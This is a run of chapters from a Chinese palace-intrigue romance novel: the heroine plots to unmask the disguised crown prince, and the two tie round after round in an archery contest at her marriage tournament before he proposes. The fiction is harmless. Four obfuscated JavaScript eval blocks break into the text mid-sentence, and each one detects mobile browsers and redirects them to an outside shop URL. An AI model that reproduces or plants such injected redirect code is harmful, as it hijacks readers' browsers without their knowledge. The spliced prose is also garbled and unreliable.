“咳……”穆归衡用一声轻咳掩饰心虚。 他倒是想亲自去呢,可是有江连镜拦着,他连尚书府的大门都进不去,总不能硬闯吧? 穆归衡虽未讲明缘由,陶瑛却也猜了个大概,揶揄道:“你就不会戴着面具去?怎么骗石涅的,就照样怎么骗别人呗。” “这如何使得?”穆归衡不赞成道,“又不是人人都如石涅那般没心眼。” 他若自作聪明,伪装一番再去拜访,却被人当面戳穿身份,岂不是更尴尬了? 若只是尴尬也就算了,怕只怕江连镜察觉了他想钻这个空子,一气之下把路堵死,那可就弄巧成拙,再难补救了。 陶瑛还是想不通:“你若有心救她,直接请出圣旨来,岂不方便?何必如此大费周章?” 对于这个问题,穆归衡不想隐瞒,又不好意思直言,一时欲说还休,最后只憋出来一句话,声音轻得几乎只有他自己能听见。 “我总得先当面问一问,她愿不愿意做我的妻子。” 尽管在那夜的梦里,他们二人举止亲昵而自然,像是一对情投意合的爱侣。但穆归衡还是希望能亲自确认一番。 至少,要听她亲口说一句“愿意”。 …… 半个时辰后,陶瑛带着“表弟”的名帖敲响了江府大门。 护院见来的是位女客,便没有派人告知江连镜,直接带她去到了江御暮居住的偏院门口,让时异帮忙通报一声。 此时江御暮正在读费红英的密信,得知她已试探过安王穆归礼。 穆归礼果然经不得一诈,承认了时异是他插在江御暮身边的暗棋,并且二人近日偶有消息往来。 奈何时异所知不多,穆归礼没得到什么有价值的信息,只知江御暮比武招亲是假,对手全是她自己找来的托。除此之外,并未探得江家有何异状,更没找到他们暗中对安王不利的证据。 如此一来,穆归礼又开始怀疑费红英是为了保住自己的地位,才故意离间他与江御暮的关系。渐渐的,他对费红英也不再报以十足的信任了。 费红英借母亲之手送出这封密信,就是为了约江御暮今晚去医馆面谈,尽快定下重获穆归礼信任的法子。 此刻听到门外响起时异的声音,江御暮眉头一蹙,快速将信收入了袖中。 “什么事?”她高声问。 “回小姐,双瑛布庄的陶夫人来府里找您,您可要见见?” 陶瑛来了? 江御暮倍感意外。 她原想着,若能借陶瑛之口,把自己即将成婚之事告知穆归衡,也许能用宁问归的恶名激起他的好义之心,引他出手相助。 可眼下还没过多长时间,陶瑛便主动上门拜访,究竟会是为何而来呢? “请她进来吧。”江御暮揉揉眉心,又摆出一副愁云惨淡的样子。 陶瑛进门时,脸上却有着抑不住的喜色。 若放在以前,江御暮肯定会直接问一句:“什么事这么高兴?” 可是现在不行,她身上背着包办婚姻受害者的剧本,得表现得对什么事都提不起兴致才好。 于是江御暮又叹了声气,接着吸一吸鼻子,好像在掩饰泪意,无精打采道:“陶瑛姐,你怎么来了?” 陶瑛坐到她身边,拉住她的手问道:“明日比武招亲的名单,可定下来了么?” 江御暮像是被戳中了伤心事,泫然欲泣道:“定不定的,还有什么意义呢?还未交手,便已决出了胜负。我也好,其他九个人也好,都是宁问归的垫脚石。” 陶瑛见她如此伤心,连忙劝道:“别这么说,也许会有转机呢?” 江御暮心弦一动,隐约觉得陶瑛此来江府,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579942|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了给自己送来“转机”。 果如所料,陶瑛话音才落,江御暮就发觉她把什么东西塞进了自己手里。 “这是我‘表弟’的名帖,他也想参加贵府的比武招亲。御暮,你可愿给他个机会?” 江御暮翻开一看,这张名帖与旁人的略有不同,若不特意说明它是什么,倒更容易被当作一张诗笺,上书两列潇洒行楷—— “不敢自名游侠客,微命轻羽燕识风。” 陶瑛并不理解这句话背后的深意,但穆归衡说了,只要江御暮看到这张不像名帖的名帖,就能猜到她这个“表弟”的身份。 他果真没有说错,江御暮将这句话读出声后,眸中的愁绪终于不再那样浓重,还有了同她开玩笑的心思。 “陶瑛姐,你既是他的表姐,少说也得被封个郡主吧?” 陶瑛听了这话,便仿佛心头一块巨石终于落了地,也跟她半认真半玩笑道:“快算了吧,摊上这么个‘表弟’,我就已经够忙的了。要是再戴上一顶高帽子,还不知要揽来多少麻烦!” 江御暮听罢微微一笑,继而望着那名帖出神,没再接话。 虽说穆归衡有了行动,但却并未按照她的预期往下走。 他用燕识风的身份上台攻擂,若是赢了,难道还要用这个身份与她成婚么? 虽说如此一来,江御暮也能把这颗棋握紧手里,利用他的太子身份给自己谋求便利,可她毕竟没有太子妃的身份,许多事都会受掣肘。 啧,难办。 …… 这天晚上,江御暮在杏林医馆与费红英见面后,便与她谈及此事。 费红英托着下巴笑道:“真稀奇,你怎么也成了死脑筋?” 江御暮模仿她的动作,与她面对面托着下巴,眉头紧锁道:“你脑筋活,你倒帮我出出主意?” 费红英分析道:“太子既然打算用假身份参加招亲,就必不会以真面目示于人前。易容也好,遮面也罢,总之得有所掩饰,对不对?” 江御暮点头道:“嗯,是这个理。” 费红英指了指自己的眼睛,问她:“这是什么?” 江御暮不解其意,插科打诨道:“火眼金睛?” 费红英不懂这个典故,但能从字面意思体会到个中意蕴,想了想说道:“嗯……差不多有点那个意思吧?明日你先主动输给他,我再想办法让他当众露出本来面目,叫他无从抵赖。到时候,你还愁做不得太子妃吗?” 江御暮摸不准此招有几分把握,追问道:“你打算如何行事?” 费红英思忖片刻,答道:“我好歹有个国师的名头,说话有些分量。待他得胜后,我便质疑他不敢以真面目示人,是不是身份见不得光?你毕竟是户部尚书之女,择婿务必谨慎。他若想平息民议,就非得自证出个名堂来不可。” 江御暮陷入了沉思,手指无意识地敲着桌面,几乎与夜晚的更漏声融为了一体。 一下,两下。 一滴,两滴。 费红英耐心数着,数字刚破百,江御暮便一锤定音。 “好,就这么办。” 56. 千瓣莲并蒂为箭靶,两世人假面诉…… 这天夜里,京城大大小小的几家赌坊热闹不减。一众赌客听闻明日就是江家比武招亲的最后一日,都铆足了劲,想着再狠狠捞一把油水。 这次的攻擂名单出得略迟,上面仍是十个陌生的姓名。赌客们摩肩接踵,挤成一团,饶有兴致地议论着下注的技巧。 其中有些人经过这些日子的反复验证,已经对江御暮的实力深信不疑,几乎懒得思考,每场对局都直接买她赢,然后坐等收钱。 短短几日时间,这些人已经把本钱翻了许多倍。正是春风得意之时,哪里舍得收手? 不过此类人还是少数,更多的人把注意力放在了另一件事上——猜测那日给江御暮赠玉的人叫什么名字。 在他们看来,这场比武招亲根本就是给那人量身定制的戏台,只要他一登场,江御暮必输无疑。 也就是说,只要赌客们下重注买他赢,就能赚得盆满钵满。 奈何说起来容易,做起来难。他们手上一条线索也无,怎么可能凭空猜中那人的姓名呢? 有人瞎猫欲撞死耗子,张口便道:“依我看,就应该从名单的顺序入手。我要是江家人,肯定把他放在第一个。若是排在后面,万一前头出点什么变故,就不好收场了。” 语毕,他自信满满地抬起手,将半块银锭拍到桌面上,高声道:“老板!第一场,我买燕识风赢!” 出头鸟一飞,便有人跟着下注。旁边一桌人斜眼看着他们,好像在看傻子似的。 其中一人小声嘲笑道:“真蠢,一看就是没门路,没人脉的,只会胡猜乱买。想发财?下辈子吧!” 他身旁围着一圈人,呈众星拱月之态。有人谄笑着奉承他两句,继而问道:“衙内,依您之见,应当如何下注呢?” 衙内一脚踩着长凳,把三块金锭放在平铺的攻擂名单上,每块金锭分别压住一个字。继而唤来老板开出票据,拔腿便走。 一圈狐朋狗友这才敢翻开金锭去看,被它们遮住的是名单上的最后一个名字——宁问归。 “咋样,咱跟不跟?”忽有一人迫不及待地问道。 另一人毫不犹豫道:“当然跟了!衙内他爹跟江尚书同在户部为官,做了多少年的同僚,从他手指头缝里漏出来的消息,难道还能有假?” 众人都觉有理,于是各自下注,回家做了一整晚的发财美梦。 次日一早,比武招亲的擂台被围得水泄不通。有人早早看到了商机,天亮前就来此占了个前排的好位置,眼下一转手就卖出了高价。 最前排的观众除了人,还有一匹马。宁问归坐于马上,一身猩红衣装无比扎眼,不知道的还以为他直接穿了婚服来呢。 今日的围观者实在太多,但凡来得稍晚一点,就只能远远听个动静了。 有人被挤得难受,抱怨道:“怎么回事?前几日也没来这么多人啊?” 身旁的人热心为他解惑道:“前几日呀,不少人都在对面那个茶楼里观战呢。今儿特殊,茶楼非不让人进。这不,外头就更挤了!” “茶楼为何不让人进?” “听说是有人花重金包了场。” “什么人?” “这我就不知道了。” 说着,那人抬头向上看去,茶馆二楼似乎空无一人。奇怪的是,栏杆外多了一块长方形的牌子,外面还罩着一层红绸。 “这是何意?茶楼要换招牌了么?”他问。 “应该不是吧,哪家馆子那么标新立异,把招牌挂在二楼栏杆上呀?再说了,你瞧,原来的招牌不是还好端端挂在一楼正门口么!” “唔,说得也是。” 众人七嘴八舌,纷纷开始猜测红绸下面是何物什。可是还没讨论出个结果,注意力就被费红英敲响铜锣的声音吸引走了。 他们知道,这是比武招亲正式开始的信号。 “第一位,燕识风,燕少侠何在?” 与以往不同,这次唤人上台的并非费红英,而是江御暮本人。 此外,众人都不约而同地注意到了一个细节——江小姐竟然称那个燕识风为“少侠”? 此前她与数十人交过手,要么直呼其名,要么只礼节性地称一句公子,可从未用过如此特殊而引人遐思的称呼。 看来,这个燕少侠与江小姐的关系并不一般呐…… 想到这里,众人纷纷抬眼望向宁问归。在他们看来,这个“燕识风”一定就是他了。 然而出乎他们意料的是,江御暮话音已落,宁问归却仍旧稳坐马上,没有丝毫回应。 难道不是他? 那还会是谁? 一众围观者你看看我,我看看你,竟无一人应声,也无人向台上挪步。 怎么回事,难道那人没来? 一片议论声中,茶馆二楼忽然多出了三道身影。 左右两边分别站着齐陌与梅如青,中间那人虽戴面具,却并未向他们隐瞒身份。 瞒不住,也没必要瞒。都是自己人,但凡有点脑子,就知道所谓的“燕少侠”与太子穆归衡实为一人了。 江御暮略一抬头就能看到他们三人,却不知穆归衡这是唱的哪出。她正欲当众发问,就听穆归衡朗声道:“燕识风在此!” 众人皆是一惊,循声望去,目光却赶不及他的动作。转眼间,穆归衡已从高处飞身而下,稳稳落于江御暮面前。 因他背向台下,众人一眼便能看到他身后的弓与箭筒,不由开始猜测:难道他打算用弓箭克制江小姐的短剑么?这也太投机取巧了吧!再说了,乱箭不长眼,万一伤到台下的人怎么办? 人们自顾自讨论起来,嘈杂的声响正好盖过了江穆二人的对话。 江御暮透过面具的孔洞直视着穆归衡的双眸,率先开口道:“你不是说过不再与我相见了么?如今又来招惹我做什么?” 分明是怨怼的语气,听来却使人心里一痒。 “从前是我糊涂。”穆归衡微微垂首,坦言道,“至于今日,自然是来求亲的。” 江御暮刻意将嘴角轻轻一勾,很快又沉了下去,对他道:“你有信心能赢过我?” 穆归衡摇了摇头:“总要尽力一试。” 江御暮的视线从他肩头越过,看到了几支木箭的尾羽,好奇道:“你想怎么比?” 穆归衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592157|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身抬头,向茶馆二楼的两人抬了抬手。 台下众人顺着穆归衡的动作望去,只见齐陌与梅如青接到指示,一左一右掀开栏杆上的红绸一角,露出其所遮盖的庐山真面目。 原来那是一幅四尺整张的画作,被贴在了一块尺寸相同的木板上。 “啧啧啧,武夫就是武夫,一点风雅之气都没有,怎能这样装裱画作呢!”一个书生模样的人叹惜道。 “欸,这上面画的不是并蒂千瓣莲吗?寓意倒是不错。”一名老者捻须评道。 “你们说他这是什么意思?不会是打算把这幅画送给江小姐吧?能比得上前日那枚玉佩吗?我看悬哟。” 穆归衡只当没听见这些风凉话,取下身后的弓和箭筒,对江御暮说道:“一把弓,二十支箭,你我二人各十支,就用对面的并蒂千瓣莲花图做箭靶,如何?” 江御暮从箭筒里拎出一支箭端详一番,佯装漫不经心道:“我若不会射箭,又当如何?” 穆归衡轻笑一声:“我若没牵过你的手,也许会相信你这句话。” 江御暮低头看了看自己的手掌,指尖几处茧子确实是弓手常有的。 原来穆归衡早就察觉了她练过武? 仔细想想,其实也不一定。本朝未婚的勋贵女子中,有不少人喜习射箭,出众者甚至能在春秋两狩时技惊四座,得天子之赏。定王妃便是典型一例。 江御暮虽不曾有过此等经历,但毕竟与她们身份相似,即便穆归衡早就发现了她手上的茧子,大概率也会以为她只练过箭术,并未专门修习过武学。 “好,就这么比。”江御暮不再遮掩,痛快答应下来,又问,“若以那张图画为靶,又该如何计分?” 她不由腹诽:这样花里胡哨的箭靶,若放在现代的奥运会,非得愁死裁判不可! 穆归衡再度看向茶馆二楼,高声道:“齐陌,给江小姐介绍介绍这张箭靶。” 此话一出,方才还在东聊西扯的围观众人瞬时收声,同时竖起耳朵,都想好好听一听这幅画有什么幺蛾子。 齐陌应了声是,清一清嗓子,当即解下佩刀,用刀鞘尖部虚虚指向画幅左侧。 “如诸位所见,这张并蒂千瓣莲花图左右两侧各绽一花,颜色、大小、花瓣的数量皆完全一致,且形态对称。” “左侧这朵花,便是江小姐的箭靶。右侧这朵花,则是燕少侠的箭靶。” “一箭中莲蓬者,计甲等;中内侧赤色花瓣者,计乙等;中外侧藕色花瓣者,计丙等;不中,或中对方箭靶者,无等。” “二人依次射箭,每人十支。计甲等箭多者为胜,若一致,则依乙等数量判定,以此类推。” 此时此刻,趁台下诸人齐齐回身望向箭靶,无暇分心来看台上情境,穆归衡牵过江御暮的手,帮她戴上护指。 亲昵之举转瞬即收,待众人回过头来,二人之间的距离已经再度拉开,仿佛方才什么都没有发生过。 只有宁问归从始至终都紧紧盯着穆归衡的动作,目光中满是敌意。 穆归衡也毫不掩饰地对上他的眼神,好像在说:死心吧,你已经没有机会了。 57. 旁观者啧啧叹心机,当局者殷殷问…… 穆归衡双手将弓捧至江御暮面前:“你先请。” 江御暮没有推拒。这把弓并不重,她可以很轻松地拉开。 然而它对她而言毕竟是一把全然陌生的新弓,江御暮尚未适应手感,搭箭拉弦后,对准箭靶瞄了许久才射出第一支箭。 齐陌倚在栏杆上,微微探出上半身看清了结果,立即高声喊道:“江小姐第一箭,中赤色莲瓣,计乙等!” 众人从江御暮的表情看得出,她对自己这一箭的表现并不满意,把弓递回给穆归衡时,还与他有几句对话,是穆归衡先开的口。 “我的梦和以前不一样了。”他轻声说,“也许……我能活下去。” 从最早意识到这件事的那一刻,穆归衡就想过要告诉她,只是一直没有机会见她一面。 如今好容易见到了,即便场合特殊,没时间解释前因后果,他也想让她早些知道,也好让她安心。如果……她为他担心过的话。 江御暮听到这句话时并不意外。因为她知道,在穆归衡早先的梦里,杀死他的那个人正是她自己。既然后来江御暮改变了主意,决定放他一条生路,穆归衡的预知梦自然也会随之改变,这并不奇怪。 但江御暮还是表现出了惊讶的样子,紧接着又露出喜色,柔声道:“那便好,恭喜你了。” 穆归衡此时已无杞人之忧,讲话也比从前多了几分底气,只是有些话仍不好意思直言,便隐晦暗示道:“其实,我今日更想听到另一种恭喜。” 江御暮知道,他指的是众人对他赢下这场比武的恭喜。 她没有表态,只垂眸一笑,把弓塞回了穆归衡手里。 他们讲话的声音太小,台下的人压根听不清,就连站在擂台一角的费红英都没听到半个字。 于是便有人窃窃私语道:“这个燕识风可真有心机啊。” 旁边的少年对这个话题很感兴趣,立即与他搭话,问道:“怎么说?” “你想啊,他都有钱包下整座茶楼,难道没钱买两把弓吗?为什么只准备一把弓,两个人轮流用呢?” 少年接着问:“为什么?” “啧,你傻呀,这都不懂!”那人目含打趣,“要是一人一把弓,他俩直接轮流射箭就是了,期间根本用不着交流。可若是两人一把弓,每个回合结束,都得把弓递给对方,他不就有机会跟江小姐搭话了吗?若运气好些,保不齐还能有点肢体接触呢……” 少年撇撇嘴,不以为然道:“我看未必。之所以用同一把弓,难道不是因为这样最公平么?” 既然两人意见相左,便也不与对方深聊了,扭过头继续往下看。 只见穆归衡取出一支箭,动作行云流水,很快便向斜上方射出。 齐陌对自家殿下的箭术很有信心,底气十足地探身望靶,本以为此箭必是甲等,现实却让他一度怀疑自己的眼睛。 梅如青见丈夫忽然愣在原地,好像一时缓不过神,只得代他上阵,对楼下诸人喊出结果:“燕少侠第一箭,中赤色莲瓣,计乙等!第一回合,平!” 齐陌仿佛这才回过神来,只是仍然想不通,殿下怎么会失手呢?这把弓不是他用惯了的吗? 难道是今日情况特殊,他太紧张了? 嗯,一定是的。齐陌愿意相信,一次偶然的失误绝不会影响殿下最终的胜利。 擂台上,江御暮再度上前接弓时,穆归衡又开了口。 这一次,他问出了在心里盘旋已久的问题。也许江御暮不会回答,也许她回答了,但答案与穆归衡自己的猜测一致,反而会使他更为怅然。 但无论如何,这都是他们必须面对的问题。如果不挑明了问出来,永远用一层窗户纸糊着,也许终有一日,它会发展成为横亘在二人之间的一根刺,再难拔除。 “从前是我无知,竟还曾命石涅去护你周全。其实,你哪里需要他的保护呢?” 江御暮听得出来,这是一种委婉的质问,问她为何向他隐瞒自己有如此身手,问她为何不愿对他坦诚以待。 好在她早有准备,回答问题时只需遵循一个原则:把所有洗不干净的黑锅都扔给江淮照背。 “父命难违啊……”江御暮欲说还休,最后轻轻一叹,伸手去接穆归衡的弓。 穆归衡的手却一直紧握,大有不问清楚不罢休之意。 演够了犹豫,江御暮自嘲一笑,接着说了下去:“其实在你拒婚之前,家父一直希望我能成为太子妃,为此时常在我耳边念叨。” 穆归衡握弓的手忽而一紧,很快又放松了些,近乎虚握。只要江御暮稍稍用力,就可以从他手中拿走这把弓,但她还是继续说了下去。 “他说男人都一样,只喜欢温婉柔弱的女子。所以,他不许我暴露自己自幼习武之事。”说着,江御暮抬头对上穆归衡的眼神,“怕我把你吓跑了。” 穆归衡听罢蹙起了眉头,手上微微使力,把弓推给江御暮道:“你别听他胡吣,都是歪理邪说。” 隔着面具,江御暮虽看不见他的表情,却能通过语气听出来,穆归衡已经相信了这番说辞。 “嗯。”她对他点点头,“你和他不一样。” 不一样? 这应该算是一句夸奖吧,穆归衡想。 江御暮这番话虽然出乎他的意料,但也冲淡了他这些日子的愁绪。 至少他知道了,江御暮并不是因为不信任他,才对他有所隐瞒。恰恰相反,她是为了接近他才这么做的。 即便此事背后有江淮照的授意,那又如何?父亲心思不纯,又连坐不到女儿的头上去。 “你和他也不一样。”穆归衡说。 江御暮冲他露出一个微笑,接着移开几步,再次张弓搭箭。 有第一箭的经验作参考,她也算摸准了这把弓的脾气,瞄准以后右手稍稍下压,一箭射出,落点正好在靶心边缘,偏内侧半寸的位置。 齐陌暗道一句可惜,要是稍微向外歪一点就好了,旋即报出结果:“江小姐第二箭,中莲蓬,计甲等!” 喊完不禁为自家殿下捏了把汗。他这一箭若再有失误,可就要落后于人了。 江御暮则满意一笑,递弓时对穆归衡说:“这箭你若输了,就跟我讲讲你梦里的内容吧。” 她并非好奇未来发生的事,而是担心他的预知梦里存在暴露自己身份的线索。 例如那把坠着血玉的长剑,如果穆归衡不曾对她描述梦中场景,江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603378|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御暮说不定就会在近日的比武招亲中用上它,在不知不觉中给自己惹来许多麻烦。 “好。”穆归衡答应得爽快,随即搭箭射出。 这一箭正中靶心,齐陌的声音难掩欣喜:“燕少侠第二箭,中莲蓬,计甲等!第二回合,平!” 江御暮有些失望,此局既平,她便问不到想要的答案了。 然而她去接弓时,穆归衡却主动开口道:“我的梦里出现过许多人,你想问与谁相关的场景?” “与我相关的。”江御暮不假思索地回答完,顿了顿,又补上一问,“有吗?” 穆归衡意味深长道:“自然有的。” 江御暮心下一惊,尽量稳住表情道:“哦?你梦到我什么了?” 穆归衡却没有回答,只将弓放进她手里,卖关子道:“下个回合再告诉你。” 江御暮不由得担心起来,脑中止不住地胡思乱想。 他都梦到什么了? 梦里她身在何方,京城还是涵州? 她与何人共处,费红英、江淮照还是长公主? 她的身份暴露了吗?或者说,引他生疑了吗? 应该还没有,否则他就不会上套,更不会被引来参加今日的比武招亲。 冷静,不用慌,江御暮反复告诫自己,专心比箭,务必赢下这……欸?不对啊! 她怎么把这茬给忘了? 这场比试她不能赢啊!大鱼已经咬饵,她若赢下比武,岂不是反而把鱼放走了吗? 嗖—— 第三支箭很快飞出,齐陌探出身一看,不由乐出了声。紧接着又自觉不妥,连忙收起表情,严肃道:“江小姐第三箭,中藕色莲瓣,计丙等!” 语毕心道:江小姐的准头不大稳啊,看来殿下马上就要领先了。 谁知齐陌的嘴角刚提起来,下一刻,就被穆归衡射出的第三箭压了下去。 “燕少侠第三箭,中——藕、藕色莲瓣?计丙等!第三回合,又平了……”从惊诧到平静,齐陌的声音渐弱,擂台下的议论声却愈发热闹起来。 “怎么一直平啊,姓燕的不会是故意的吧?” “巧合吧!谁会故意跟人打平手啊,图什么呢?” “他俩要是一直平局,二十支箭决不出胜负,不会还要继续比下去吧?没个完了!” “等等,万一最后以平局收场,赌坊给不给退钱啊?赌局这不是废了吗!” 在一片嘈杂声中,穆归衡顶着江御暮疑惑不解的目光,把弓交到她手里。 “我梦到咱们成亲了。”他说。 江御暮心弦一动,微不可察地松了口气。成亲之日,她应该不会露出什么破绽吧? “你不惊讶吗?”穆归衡紧接着问。 这个时候应该表演惊讶吗?江御暮方才只顾着担心,没考虑到这一层。哎呀,疏忽了。 不过没关系,这个疏忽还可以补救。 “不惊讶,因为……” 江御暮眼神一转,笑意盈盈地与穆归衡对视。 “我也梦到过。” 即兴表演嘛,大学话剧社的必修课。 反正她的梦没有预知能力,若被追问,瞎编就是了。 58. 燕少侠忐忑问心意,江小姐踌躇定…… 穆归衡没有刨根问底。比起此刻的情景,他更希望在未来某日二人独处时,再听江御暮细细道来。 然而他即便忍得住不追问,也抑不住脑中思绪浮想。 常言道,日有所思,夜有所梦。既然江御暮亦曾梦到他们二人成亲的场景,是不是意味着,她也曾有过这样的想法呢? 退一步想,也许她只是抗拒与宁问归的婚事,才会迫切地希望有人能救她脱离苦海。 可既然她梦见的是穆归衡,而不是其他什么人,那么是不是可以进一步想?或许……她亦对他有情? 穆归衡心乱如麻,埋头苦思之际,江御暮已经射出了第四支箭。 “江小姐第四箭,中赤色莲瓣,计乙等!” 齐陌的声音只拉回了穆归衡一半神思。待江御暮把弓塞进他手里,穆归衡终于不再神游,重新进入了全神贯注的状态。 前三个回合,江御暮这时候都在抬头看靶,以便第一时间知晓对手的成绩。 可是此时此刻,她却牢牢盯住了穆归衡张弓搭箭的动作,意欲从中找到蛛丝马迹,证明他是在故意维持平局的状态。 台下的围观者只是有点怀疑,江御暮却几乎可以百分百确定,穆归衡一定是故意的。 “燕少侠第四箭,中赤色莲瓣,计乙等!第四回合,平!” 果不其然,这个结果又一次验证了江御暮的猜想。 可她实在想不明白,穆归衡这样做究竟有何意图? 还剩六支箭,六次机会,他还打算浪费几次? 江御暮很不喜欢这种雾里看花的感觉,与其这样,还不如她主动出击,把水搅得更浑些,让大家都看不清楚,才算公平。 可是要怎么做,才能在不影响最终胜负的前提下搅局呢? 江御暮拉开弓弦,眼神扫过那副并蒂千瓣莲花图,忽而有了个促狭的主意。 嗖—— 第五支箭落定后,穆归衡讶然看向江御暮,正对上她恶作剧成功似的目光。 他先是一愣,继而心下了然:喔,原来她已经看出我是故意的了。 “此箭何等?”台下有眼神不好的老大爷仰头催问,“怎么还不报啊?” 不是齐陌不想报,实在是他也不知道该怎么报啊! 幸而那老大爷身旁的少年眼神好,又热心肠,主动给他解释道:“江小姐这支箭虽中莲蓬,论理应是甲等,可她偏偏射在了画幅右侧的那朵花上——那可是燕少侠的箭靶。” 众人听罢,你一言我一语,又吵闹了起来。 “这怎么算?无等吗?那也太亏得慌了!” “反正两朵花都长得一样,分那么清楚做什么?管它是左是右,甲等就是甲等!” “兄台此言差矣,既然江小姐此箭射错了靶子,那么等第理应视同脱靶,怎可随意通融?” “嘁,你跟他讲什么道理?他就惦记着他在赌坊下的注呢,自然盼着江小姐赢了!” “要我说,干脆各退一步,此箭作废,让江小姐重新射一箭算了。” 众人吵吵嚷嚷,议论蜂起,谁也不服谁,根本无法达成一致的看法。 于是便有人朝台上喊道:“江小姐!依你之见,此箭应当如何计等!?” 江御暮自然没打算下结论,只将弓递给穆归衡,对台下答道:“先继续吧,容我想想。” 穆归衡走近她半步,低声含笑道:“不必费这个心了。” 下一刻,他便瞄准江御暮的靶子射出了箭,同样正中莲心。 齐陌这下轻松了,直接喊道:“第五回合,平!” 台下的议论之声仍未停歇,只是换了话题。 方才那老大爷激动得拎起拐杖往地上戳:“你们瞧!我早说了吧?这小子就是故意跟江小姐打平局的!” 他身旁的热心少年反驳道:“我倒觉得这位燕少侠颇有君子之风,说不定是为了不让江小姐为难,才如此行事,借以打破僵局呢?” “哎,小兄弟。”有人拍了拍少年的肩膀,“你是不是认识这个燕识风啊?” 他一直在旁边听着,每次有人争论,这少年都很向着燕识风说话,像是颇有私交的样子。 那少年却好像生怕别人误会,连声否认道:“不认识不认识,我就是嘴闲,爱说话。” 见对方不再深究,少年这才松了一口气。呼,好险,可不能暴露了哇。看来,他该好好管一管自己这张嘴了。 再看台上,江穆二人正在小声交谈。 “你不想赢么?”江御暮问。 “想赢。”穆归衡很快回答,“但不是用这种方式赢。” 嗯?“这种方式”是什么意思?江御暮没太理解。 穆归衡对上她迷茫的眼神,忍笑道:“等等再告诉你。” 又来这招?他可真爱卖关子。江御暮腹诽道。 第六回合开始,江御暮急于知道答案,索性加快了动作,不再浪费时间。 “江小姐第六箭,中莲蓬,计甲等!” 穆归衡也认真比试起来。 “燕少侠第六箭,中莲蓬,计甲等!第六回合,平!” 递弓时,穆归衡忽然问道:“所谓‘玄都花’就是桃花,对吗?” 这问题在江御暮看来有些莫名其妙,也不知道他怎么忽然想起来这茬了。 “对。”为了节省时间,江御暮拉开了弓,一边瞄准一边答道,“是刘禹锡诗里的典故,他比你晚生……大概几十年吧。” 嗖—— 第七支箭稳稳飞出。 “江小姐第七箭,中莲蓬,计甲等!” “你怎么猜到答案的?”她问。 穆归衡取箭拉弓,同样一边瞄准一边答道:“有些事想通以后,你的诗便也能够读懂了。” 嗖—— “燕少侠第七箭,中莲蓬,计甲等!第七回合,平!” 江御暮着实好奇,如今的他会怎样解读她留下的旧日谜题呢? “愿闻其详。”她说。 “江小姐第八箭,中莲蓬,计甲等!” 穆归衡深望她一眼,答道:“武陵人曾亲眼见过桃源之美,想必自此以后,群英郁馥便尽数难入其眼了吧?” “燕少侠第八箭,中莲蓬,计甲等!第八回合,平!” “会吗?”江御暮接弓搭箭,“世间繁花万千,各有其美,如何入不得眼?” “江小姐第九箭,中莲蓬,计甲等!” 穆归衡轻笑低语道:“纵然繁花入眼又如何?心中唯一念的,也只有桃源旧忆罢了。” “燕少侠第九箭,中莲蓬,计甲等!第九回合,平!” 一连九次平局,任谁都能看出情况不对。围观诸人的议论声从未停歇,方才那个自称话多的少年却一言不发,握紧了手中木盒,双眼紧紧盯住江穆二人,时刻关注他们的动向。 箭筒里还剩最后两支箭,江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612615|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御暮伸手去取时,余光瞥见穆归衡走到了她身边。 “御暮。” 这是他第一次当面唤出她的闺名。 江御暮动作一顿,抬头迎上他紧张中略带羞赧的眼神。 “嗯?”她的声音很轻,像猫尾巴勾了勾人的耳朵,转眼便溜走了。 尽管事先练习了许久,眼下真到开口说出这句话的时刻,穆归衡还是抑不住担心起来。 语气会不会很生硬? 咬字会不会很奇怪? 眼神够不够温柔?态度够不够得体? 要担心的太多,时间显然不够用。穆归衡只能直视着她的双眼,用尽量平稳的声音问道: “你愿意与我成婚吗?” 江御暮莞尔一笑:“你不是已经在梦里得到答案了吗?” 既然他们的婚事已成定局,还有什么可问的呢? “不,那只是一个结果而已。”穆归衡摇头道,“我想问的是你自己的心意。抛开父母之命,也莫管皇帝赐婚,只问你自己的心。你……愿意与我结发为夫妻吗?” 